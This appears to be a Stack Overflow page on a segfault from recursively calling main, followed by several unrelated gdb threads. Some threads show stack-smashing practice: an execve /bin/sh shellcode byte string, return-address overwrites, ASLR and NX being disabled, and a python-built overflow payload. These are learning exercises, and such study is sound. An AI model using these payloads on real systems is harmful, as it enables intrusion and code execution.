I've simplified this tiny bit of code that I would expect to be an infinite loop down to:
#include <stddef.h>
int main(int argc, char* argv[]) {
for(int i = 0; i < argc; i++) {
main(argc, NULL);
}
}
(Whether or not you pass argv on doesn't really matter. The compiler tends to optimise it out, anyways.)
However, under both clang 9.0.1 and gcc 9.2.0, the above code segfaults with an address boundary error.
Looking at the asm (that I dumped here), I'm still not seeing anything that would cause this to go haywire.
If you're using gdb, it's pretty easy to miss the fact that a new stack frame is being used on each call. By default, gdb shows you only one stack frame for main, no matter how many recursions are performed:
$ cat recursive_main.c
#include <stddef.h>
int main(int argc, char* argv[]) {
for(int i = 0; i < argc; i++) {
main(argc, NULL);
}
}
$ clang-9 -o recursive_main -Wall -g recursive_main.c
$ ./recursive_main
Segmentation fault (core dumped)
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) break main
Breakpoint 1 at 0x4004b6: file recursive_main.c, line 4.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>bt
>end
(gdb) r
Starting program: /home/rici/src/tmp/recursive_main
Breakpoint 1, main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
(gdb)
Continuing.
But if we print out the stack pointer at each entry, we can see that it's decremented each time:
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) break main
Breakpoint 1 at 0x4004b6: file recursive_main.c, line 4.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>info r esp
>end
(gdb) r
Starting program: /home/rici/src/tmp/recursive_main
Breakpoint 1, main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffddc0 -8768
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffdd90 -8816
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffdd60 -8864
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffdd30 -8912
(gdb)
So the stack is extended by 0x30 (48) bytes by each recursive call.
The reason for this curious behaviour is that gdb deliberately ends the backtrace when it hits main. It does that because the real entry point of an executable is not main, but rather some platform-dependent code which sets everything up so that main can be called, and then calls main. As a consequence, gdb doesn't really know where the stack "begins". Or rather, it knows where the executable's stack begins, but it has no idea where the program's stack begins. It would be a bit confusing to include functions in the executable's setup code in every backtrace, so by default gdb just stops walking the stack when it hits a frame whose entry point is main. If you know about this option, you can control it:
(gdb) help set backtrace past-main
Set whether backtraces should continue past "main".
Normally the caller of "main" is not of interest, so GDB will terminate
the backtrace at "main". Set this variable if you need to see the rest
of the stack trace.
And with the option set, you can see the various stack frames corresponding to the recursive calls to main:
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) set backtrace past-main 1
(gdb) break main
Breakpoint 1 at 0x4004b6: file recursive_main.c, line 4.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>bt
>end
(gdb) r
Starting program: /home/rici/src/tmp/recursive_main
Breakpoint 1, main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
#1 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#2 0x00000000004003da in _start ()
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
#1 0x00000000004004d5 in main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:5
#2 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#3 0x00000000004003da in _start ()
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
#1 0x00000000004004d5 in main (argc=1, argv=0x0) at recursive_main.c:5
#2 0x00000000004004d5 in main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:5
#3 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#4 0x00000000004003da in _start ()
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
#1 0x00000000004004d5 in main (argc=1, argv=0x0) at recursive_main.c:5
#2 0x00000000004004d5 in main (argc=1, argv=0x0) at recursive_main.c:5
#3 0x00000000004004d5 in main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:5
#4 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#5 0x00000000004003da in _start ()
(gdb)
But while it's probably good to know about this gdb option (and I didn't know about it until 15 minutes ago), it's not really necessary. You can see the code which creates the stack frame at offset 1120 in the disassembly that you linked, although it's easier to see in the -S output (or by using the handy service at http://gcc.godbolt):
0000000000001120 :
1120: 55 push %rbp
1121: 48 89 e5 mov %rsp,%rbp
1124: 48 83 ec 20 sub $0x20,%rsp
1128: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
112f: 89 7d f8 mov %edi,-0x8(%rbp)
1132: 48 89 75 f0 mov %rsi,-0x10(%rbp)
1136: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp)
113d: 8b 45 ec mov -0x14(%rbp),%eax
1140: 3b 45 f8 cmp -0x8(%rbp),%eax
1143: 0f 8d 1a 00 00 00 jge 1163
1149: 31 c0 xor %eax,%eax
114b: 89 c6 mov %eax,%esi
114d: 8b 7d f8 mov -0x8(%rbp),%edi
1150: e8 cb ff ff ff callq 1120
As you can see, on entry to main (which is at the offset shown, 1120), first %rbp is pushed onto the stack, resulting in %esp being decremented by 8 (for 64-bit mode). Then the stack pointer is decremented by an additional 0x20 (32), leaving space to save the registers that will be used (which include the registers used to pass arguments to the called function, and the register used to store the value of i). Finally (after a bit of work), the callq instruction at offset 1150 is executed, which pushes the address of the next instruction onto the stack, using up another 8 bytes.
So a 48-byte stack frame is pushed on each recursive call. And since the recursion never terminates, that must eventually hit the protected page which precedes the stack, at which point a segfault is signalled.
Note that this does not happen with clang at any positive optimisation level:
$ clang-9 -o recursive_main -Wall -g -O1 recursive_main.c
$ ./recursive_main
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) disass main
Dump of assembler code for function main:
0x00000000004004a0 <+0>: xor %eax,%eax
0x00000000004004a2 <+2>: retq
End of assembler dump.
Here, the compiler has taken advantage of the standard's requirement (in §6.8.5/6, see below) that a loop which has no observable effect can be assumed to terminate; in this case, the compiler assumes that it terminates immediately, which is legitimate because nothing will change before the loop eventually terminates.
GCC does not seem to perform that optimisation, by the way, so it will segfault regardless of optimisation level. At least, that's what happened in my test.
Standard C, §6.8.5 :
An iteration statement whose controlling expression is not a constant expression, that performs no input/output operations, does not access volatile objects, and performs no synchronization or atomic operations in its body, controlling expression, or (in the case of a for statement) its expression-3, may be assumed by the implementation to terminate.
The program causes undefined behaviour due to no forward progress. C11 6.8.5/6:
An iteration statement whose controlling expression is not a constant expression, that performs no input/output operations, does not access volatile objects, and performs no
synchronization or atomic operations in its body, controlling expression, or (in the case of a for statement) its expression-3, may be assumed by the implementation to
terminate.
So the compiler can assume the for loop terminates. Since execution of the loop would actually never terminate, the behaviour is undefined by omission and therefore anything can happen.
Related
This question already has answers here:
How to get c code to execute hex machine code?
(7 answers)
Linux default behavior of executable .data section changed between 5.4 and 5.9?
(2 answers)
Closed 1 year ago.
I'm trying to understand the basics of stack smashing attacks but I'm finding that the code seg faults when jumping to the overwritten return address. To isolate the issue, I wrote a small snippet of code exhibiting the same behaviour, using a single NOP instruction stored in the data segment of memory:
char nop[] = "\x90";
int main(){
((void(*)(void))nop)();
}
Which I'm then compiling as follows:
gcc -fno-stack-protector -z execstack nop.c -g -o nop
Executing the code step-wise from the function call in GDB gives the same results:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) list
1 char nop[] = "\x90";
2 int main(){
3 ((void(*)(void))nop)();
4 }
(gdb) break 3
Breakpoint 1 at 0x1131: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555131 <main+8>: lea 0x2ed8(%rip),%rax # 0x555555558010 <nop>
(gdb) step
Program received signal SIGSEGV, Segmentation fault.
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
In similar questions, the issue seems to stem from the data segment being non-executable, which appears to be the case here too. Most answers seem to suggest using the execstack flag to disable this though, which clearly isn't working here.
Any help would be much appreciated!
Edit 1: Quick verification that the execstack flag is being set:
foo#bar:~/path/to/file$ execstack nop
X nop
Edit 2: Rerunning GDB using stepi rather than step suggests that the seg-fault happens the instruction after the code jumps to the NOP:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) break 3
Breakpoint 1 at 0x1131: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) stepi
0x0000555555555138 3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555138 <main+15>: callq *%rax
(gdb) stepi
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
Just solved the problem, which was a combination of two issues:
I assumed that the execstack flag would make all non-text segments of memory executable, however it seems this is not the case. To fix this, I made the raw hex code a local variable:
int main(){
char nop[] = "\x90";
((void(*)(void))nop)();
}
The next issue seems to have been that, with no return instruction, the code continues executing after the nop until it hits a bad area of memory. To fix this, I wrote a simple function performing the same task...
void nop() {
return;
}
int main(){
nop();
}
Extracted the hex from the disassembled code...
nop:
\xf3\x0f\x1e\xfa endbr64
\x55 push %rbp
\x48\x89\xe5 mov %rsp,%rbp
\x90 nop
\x5d pop %rbp
\xc3 retq
Then used these bytes as the basis for my character array:
int main(){
char nop[] = "\xf3\x0f\x1e\xfa\x55\x48\x89\xe5\x90\x5d\xc3";
((void(*)(void))nop)();
}
This led to a successful execution:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) list
warning: Source file is more recent than executable.
1 int main(){
2 char nop[] = "\xf3\x0f\x1e\xfa\x55\x48\x89\xe5\x90\x5d\xc3";
3 ((void(*)(void))nop)();
4 }
(gdb) break 3
Breakpoint 1 at 0x114a: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x55555555514a <main+33>: lea -0xc(%rbp),%rax
(gdb) stepi
0x000055555555514e 3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x55555555514e <main+37>: callq *%rax
(gdb) stepi
0x00007fffffffe204 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe204: endbr64
(gdb) stepi
0x00007fffffffe208 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe208: push %rbp
(gdb) stepi
0x00007fffffffe209 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe209: mov %rsp,%rbp
(gdb) stepi
0x00007fffffffe20c in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20c: nop
(gdb) stepi
0x00007fffffffe20d in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20d: pop %rbp
(gdb) stepi
0x00007fffffffe20e in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20e: retq
(gdb) stepi
0x0000555555555150 in main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555150 <main+39>: mov $0x0,%eax
(gdb) continue
Continuing.
[Inferior 1 (process 68215) exited normally]
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 6 years ago.
Improve this question
I was trying to make my C program execute shellcode. Please look at the following.
root#ninja:~/Desktop/Programs# gdb -q ./a.out
Reading symbols from /root/Desktop/Programs/a.out...done.
(gdb) list 1
1 void function(void) {
2 int *ret;
3 int var;
4 char code[]=
5 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
6 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
7 "\xe1\xcd\x80";
8 ret = &var + 3;
9 (*ret) = (int) code;
10 }
(gdb)
11
12 void main() {
13 function();
14 }
(gdb) break 9
Breakpoint 1 at 0x804842a: file exp2.c, line 9.
(gdb) break 10
Breakpoint 2 at 0x8048432: file exp2.c, line 10.
(gdb) run
Starting program: /root/Desktop/Programs/a.out
Breakpoint 1, function () at exp2.c:9
9 (*ret) = (int) code;
(gdb) x/9xw code
0xbffff4a4: 0xdb31c031 0xb099c931 0x6a80cda4 0x6851580b
0xbffff4b4: 0x68732f2f 0x69622f68 0x51e3896e 0x8953e289
0xbffff4c4: 0x0080cde1
(gdb) x/i *ret
0x804843c <main+8>: pop %ebp
(gdb) c
Continuing.
Breakpoint 2, function () at exp2.c:10
10 }
(gdb) x/i *ret
0xbffff4a4: xor %eax,%eax
(gdb) nexti(2)
0xbffff4a4 in ?? ()
(gdb) x/3i $eip
=> 0xbffff4a4: xor %eax,%eax
0xbffff4a6: xor %ebx,%ebx
0xbffff4a8: xor %ecx,%ecx
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0xbffff4a4 in ?? ()
(gdb) nexti
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)
var was used as a point of reference to make ret point to the return address of function(). Then, the return address was changed to the start of code. function() returned to code. However, the program terminated without executing the code. Thanks to #blatinox, I learnt that this was because the stack was non-executable.
I re-compiled the program with -z execstack. The program now could execute the code, but I got another problem:
Starting program: /root/Desktop/Programs/a.out
Breakpoint 1, function () at exp2.c:9
9 (*ret) = (int)code;
(gdb) x/i *ret
0x804843c <main+8>: pop %ebp
(gdb) c
Continuing.
Breakpoint 2, function () at exp2.c:10
10 }
(gdb) x/i *ret
0xbffff4a4: xor %eax,%eax
(gdb) x/i code
0xbffff4a4: xor %eax,%eax
(gdb) nexti(2)
0xbffff4a4 in ?? ()
(gdb) x/17i $eip
=> 0xbffff4a4: xor %eax,%eax
0xbffff4a6: xor %ebx,%ebx
0xbffff4a8: xor %ecx,%ecx
0xbffff4aa: cltd
0xbffff4ab: mov $0xa4,%al
0xbffff4ad: int $0x80
0xbffff4af: push $0xb
0xbffff4b1: pop %eax
0xbffff4b2: push %ecx
0xbffff4b3: push $0x68732f2f
0xbffff4b8: push $0x6e69622f
0xbffff4bd: mov %esp,%ebx
0xbffff4bf: push %ecx
0xbffff4c0: mov %esp,%edx
0xbffff4c2: push %ebx
0xbffff4c3: mov %esp,%ecx
0xbffff4c5: int $0x80
(gdb) nexti(14)
0xbffff4c2 in ?? ()
(gdb) x/3i $eip
=> 0xbffff4c2: push %ebx
0xbffff4c3: mov %esp,%ecx
0xbffff4c5: int $0x80
(gdb) nexti
0xbffff4c3 in ?? ()
(gdb) x/2i $eip
=> 0xbffff4c3: mov %ecx,%esp
0xbffff4c5: hlt
(gdb) nexti
0xbffff4c5 in ?? ()
(gdb) x/i $eip
=> 0xbffff4c5: hlt
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0xbffff4c5 in ?? ()
(gdb)
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)
0xbffff4c3: mov %esp,%ecx changed to 0xbffff4c3: mov %ecx,%esp, and 0xbffff4c5: int $0x80 changed to 0xbffff4c5: hlt.
Why did the last two lines of the code change while executing?
Your variable code is on the stack which is probably not executable. Did you change the rights of the stack ?
There's a way to break on a variable/memory address being freed ? Does a simple watchpoint work on this case ?
Scenario, I getting a segfault when the program does the freeing of variables apparently the variable in question is getting free two times, i need know where it's first freed.
PS: lldb and gdb, if possible for both respective commands.
How to do it in gdb
In gdb you can set conditional breakpoints by writing break location if condition.
This means that in order to break on free where the function is invoked with a pointer that refers to some dynamically allocated data, we first have to obtain the address of the dynamically allocated data, and then set a breakpoint with a suitable condition.
Further reading:
sourceware.org :: Conditions - Debugging with gdb
fayewilliams.com - GDB Conditional Breakpoints
Setting up the experiment
/tmp% cat > foo.c <<EOF
> #include <stdlib.h>
>
> void some_function (int * p) {
> free (p);
> }
>
> int main () {
> int * p = malloc (sizeof (int));
>
> some_function (p);
>
> free (p);
>
> return 0;
> }
> EOF
/tmp% gcc -g foo.c -o a.out
The Adventure
/tmp% gdb ./a.out
The first thing we need to do is find a suitable breakpoint so that we can expect the contents of the variable we would like to watch, more specifically the address of the dynamically allocated memory.
(gdb) list main
2
3 void some_function (int * p) {
4 free (p);
5 }
6
7 int main () {
8 int * p = malloc (sizeof (int));
9
10 some_function (p);
11
We will then set a breakpoint on a suitable place, in this case line 9 — we then run the application to see what the value stored in p is.
(gdb) break 9
Breakpoint 1 at 0x400577: file foo.c, line 9.
(gdb) run
Starting program: /tmp/a.out
Breakpoint 1, main () at foo.c:10
(gdb) print p
$1 = (int *) 0x601010
When we know the address we would like to monitor in terms of free, we can easily set a conditional breakpoint at our desired location. First we will need to make sure that free is actually named what we think.
(gdb) disas main
Dump of assembler code for function main:
0x0000000000400561 : push %rbp
0x0000000000400562 : mov %rsp,%rbp
0x0000000000400565 : sub $0x10,%rsp
0x0000000000400569 : mov $0x4,%edi
0x000000000040056e : callq 0x400440 <malloc#plt>
0x0000000000400573 : mov %rax,-0x8(%rbp)
=> 0x0000000000400577 : mov -0x8(%rbp),%rax
0x000000000040057b : mov %rax,%rdi
0x000000000040057e : callq 0x400546 <some_function>
0x0000000000400583 : mov -0x8(%rbp),%rax
0x0000000000400587 : mov %rax,%rdi
0x000000000040058a : callq 0x400410 <free#plt>
0x000000000040058f : mov $0x0,%eax
0x0000000000400594 : leaveq
0x0000000000400595 : retq
We can now create the breakpoint, and continue execution to see where our data is freed:
(gdb) break free#plt if $rdi == 0x601010
Breakpoint 2 at 0x400410 (3 locations)
(gdb) cont
Continuing.
Breakpoint 2, 0x0000000000400410 in free#plt ()
(gdb) backtrace
#0 0x0000000000400410 in free#plt ()
#1 0x000000000040055e in some_function (p=0x601010) at foo.c:4
#2 0x0000000000400583 in main () at foo.c:10
(gdb) cont
Continuing.
Breakpoint 2, 0x0000000000400410 in free#plt ()
(gdb) backtrace
#0 0x0000000000400410 in free#plt ()
#1 0x000000000040058f in main () at foo.c:12
(gdb) cont
Continuing.
*** Error in `/tmp/a.out': double free or corruption (fasttop): 0x0000000000601010 ***
...
OS: GNU/Linux
Distro: OpenSuSe 13.1
Arch: x86-64
GDB version: 7.6.50.20130731-cvs
Program language: mostly C with minor bits of assembly
Imagine that I've got rather big program that sometimes fails to open a file. Is it possible to set breakpoint in GDB in such way that it stops after open(2) syscall returns -1?
Of course, I can grep through the source code and find all open(2) invocations and narrow down the faulting open() call but maybe there's a better way.
I tried to use "catch syscall open" then "condition N if $rax==-1" but obviously it didn't get hit.
BTW, Is it possible to distinct between a call to syscall (e.g. open(2)) and return from syscall (e.g. open(2)) in GDB?
As a current workaround I do the following:
Run the program in question under the GDB
From another terminal launch systemtap script:
stap -g -v -e 'probe process("PATH to the program run under GDB").syscall.return { if( $syscall == 2 && $return <0) raise(%{ SIGSTOP %}) }'
After open(2) returns -1 I receive SIGSTOP in GDB session and I can debug the issue.
TIA.
Best regards,
alexz.
UPD: Even though I tried the approach suggested by n.m before and wasn't able to make it work I decided to give it another try. After 2 hours it now works as intended. But with some weird workaround:
I still can't distinct between call and return from syscall
If I use finish in comm I can't use continue, which is OK according to GDB docs
i.e. the following does drop to gdb prompt on each break:
gdb> comm
gdb> finish
gdb> printf "rax is %d\n",$rax
gdb> cont
gdb> end
Actually I can avoid using finish and check %rax in commands but in this case I have to check for -errno rather than -1 e.g. if it's "Permission denied" then I have to check for "-13" and if it's "No such file or direcory" - then for -2. It's just simply not right
So the only way to make it work for me was to define custom function and use it in the following way:
(gdb) catch syscall open
Catchpoint 1 (syscall 'open' [2]
(gdb) define mycheck
Type commands for definition of "mycheck".
End with a line saying just "end".
>finish
>finish
>if ($rax != -1)
>cont
>end
>printf "rax is %d\n",$rax
>end
(gdb) comm
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>mycheck
>end
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/alexz/gdb_syscall_test/main
.....
Catchpoint 1 (returned from syscall open), 0x00007ffff7b093f0 in __open_nocancel () from /lib64/libc.so.6
0x0000000000400756 in main (argc=1, argv=0x7fffffffdb18) at main.c:24
24 fd = open(filenames[i], O_RDONLY);
Opening test1
fd = 3 (0x3)
Successfully opened test1
Catchpoint 1 (call to syscall open), 0x00007ffff7b093f0 in __open_nocancel () from /lib64/libc.so.6
rax is -38
Catchpoint 1 (returned from syscall open), 0x00007ffff7b093f0 in __open_nocancel () from /lib64/libc.so.6
0x0000000000400756 in main (argc=1, argv=0x7fffffffdb18) at main.c:24
---Type <return> to continue, or q <return> to quit---
24 fd = open(filenames[i], O_RDONLY);
rax is -1
(gdb) bt
#0 0x0000000000400756 in main (argc=1, argv=0x7fffffffdb18) at main.c:24
(gdb) step
26 printf("Opening %s\n", filenames[i]);
(gdb) info locals
i = 1
fd = -1
This gdb script does what's requested:
set $outside = 1
catch syscall open
commands
silent
set $outside = ! $outside
if ( $outside && $rax >= 0)
continue
end
if ( !$outside )
continue
end
echo `open' returned a negative value\n
end
The $outside variable is needed because gdb stops both at syscall enter and syscall exit. We need to ignore enter events and check $rax only at exit.
Is it possible to set breakpoint in GDB in such way that it stops after open(2) syscall returns -1?
It's hard to do better than n.m.s answer for this narrow question, but I would argue that the question is posed incorrectly.
Of course, I can grep through the source code and find all open(2) invocations
That is part of your confusion: when you call open in a C program, you are not in fact executing open(2) system call. Rather, you are invoking an open(3) "stub" from your libc, and that stub will execute the open(2) system call for you.
And if you want to set a breakpoint when the stub is about to return -1, that is very easy.
Example:
/* t.c */
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
int fd = open("/no/such/file", O_RDONLY);
return fd == -1 ? 0 : 1;
}
$ gcc -g t.c; gdb -q ./a.out
(gdb) start
Temporary breakpoint 1 at 0x4004fc: file t.c, line 6.
Starting program: /tmp/a.out
Temporary breakpoint 1, main () at t.c:6
6 int fd = open("/no/such/file", O_RDONLY);
(gdb) s
open64 () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
Here we've reached the glibc system call stub. Let's disassemble it:
(gdb) disas
Dump of assembler code for function open64:
=> 0x00007ffff7b01d00 <+0>: cmpl $0x0,0x2d74ad(%rip) # 0x7ffff7dd91b4 <__libc_multiple_threads>
0x00007ffff7b01d07 <+7>: jne 0x7ffff7b01d19 <open64+25>
0x00007ffff7b01d09 <+0>: mov $0x2,%eax
0x00007ffff7b01d0e <+5>: syscall
0x00007ffff7b01d10 <+7>: cmp $0xfffffffffffff001,%rax
0x00007ffff7b01d16 <+13>: jae 0x7ffff7b01d49 <open64+73>
0x00007ffff7b01d18 <+15>: retq
0x00007ffff7b01d19 <+25>: sub $0x8,%rsp
0x00007ffff7b01d1d <+29>: callq 0x7ffff7b1d050 <__libc_enable_asynccancel>
0x00007ffff7b01d22 <+34>: mov %rax,(%rsp)
0x00007ffff7b01d26 <+38>: mov $0x2,%eax
0x00007ffff7b01d2b <+43>: syscall
0x00007ffff7b01d2d <+45>: mov (%rsp),%rdi
0x00007ffff7b01d31 <+49>: mov %rax,%rdx
0x00007ffff7b01d34 <+52>: callq 0x7ffff7b1d0b0 <__libc_disable_asynccancel>
0x00007ffff7b01d39 <+57>: mov %rdx,%rax
0x00007ffff7b01d3c <+60>: add $0x8,%rsp
0x00007ffff7b01d40 <+64>: cmp $0xfffffffffffff001,%rax
0x00007ffff7b01d46 <+70>: jae 0x7ffff7b01d49 <open64+73>
0x00007ffff7b01d48 <+72>: retq
0x00007ffff7b01d49 <+73>: mov 0x2d10d0(%rip),%rcx # 0x7ffff7dd2e20
0x00007ffff7b01d50 <+80>: xor %edx,%edx
0x00007ffff7b01d52 <+82>: sub %rax,%rdx
0x00007ffff7b01d55 <+85>: mov %edx,%fs:(%rcx)
0x00007ffff7b01d58 <+88>: or $0xffffffffffffffff,%rax
0x00007ffff7b01d5c <+92>: jmp 0x7ffff7b01d48 <open64+72>
End of assembler dump.
Here you can see that the stub behaves differently depending on whether the program has multiple threads or not. This has to do with asynchronous cancellation.
There are two syscall instructions, and in the general case we'd need to set a breakpoint after each one (but see below).
But this example is single-threaded, so I can set a single conditional breakpoint:
(gdb) b *0x00007ffff7b01d10 if $rax < 0
Breakpoint 2 at 0x7ffff7b01d10: file ../sysdeps/unix/syscall-template.S, line 82.
(gdb) c
Continuing.
Breakpoint 2, 0x00007ffff7b01d10 in __open_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 in ../sysdeps/unix/syscall-template.S
(gdb) p $rax
$1 = -2
Voila, the open(2) system call returned -2, which the stub will translate into setting errno to ENOENT (which is 2 on this system) and returning -1.
If the open(2) succeeded, the condition $rax < 0 would be false, and GDB will keep going.
That is precisely the behavior one usually wants from GDB when looking for one failing system call among many succeeding ones.
Update:
As Chris Dodd points out, there are two syscalls, but on error they both branch to the same error-handling code (the code that sets errno). Thus, we can set an un-conditional breakpoint on *0x00007ffff7b01d49, and that breakpoint will fire only on failure.
This is much better, because conditional breakpoints slow down execution quite a lot when the condition is false (GDB has to stop the inferior, evaluate the condition, and resume the inferior if the condition is false).
I'm doing a stack overflow experiment with aslr and nx disabled. But the gdb show up a weird result.
Environment:
Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
Disable aslr:
echo 0 > /proc/sys/kernel/randomize_va_space
Compiled the source with execstatck(Debian has no kernel parameter named exec-shield):
gcc 1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
Here's description of the problem:
(gdb) disas main
Dump of assembler code for function main:
0x0804841c <+0>: push %ebp
0x0804841d <+1>: mov %esp,%ebp
0x0804841f <+3>: sub $0x208,%esp
0x08048425 <+9>: mov 0xc(%ebp),%eax
0x08048428 <+12>: add $0x4,%eax
0x0804842b <+15>: mov (%eax),%eax
0x0804842d <+17>: mov %eax,0x4(%esp)
0x08048431 <+21>: lea -0x200(%ebp),%eax
0x08048437 <+27>: mov %eax,(%esp)
0x0804843a <+30>: call 0x8048300 <strcpy#plt>
0x0804843f <+35>: mov $0x0,%eax
0x08048444 <+40>: leave
0x08048445 <+41>: ret
End of assembler dump.
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
Program received signal SIGSEGV, Segmentation fault.
0xbafff87d in ?? ()
program is leaded to 0xbafff87d and crashed.This is under expectation.
So i change the address from 0xbafff87d to the address of shellcode: 0xbffff87d.
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
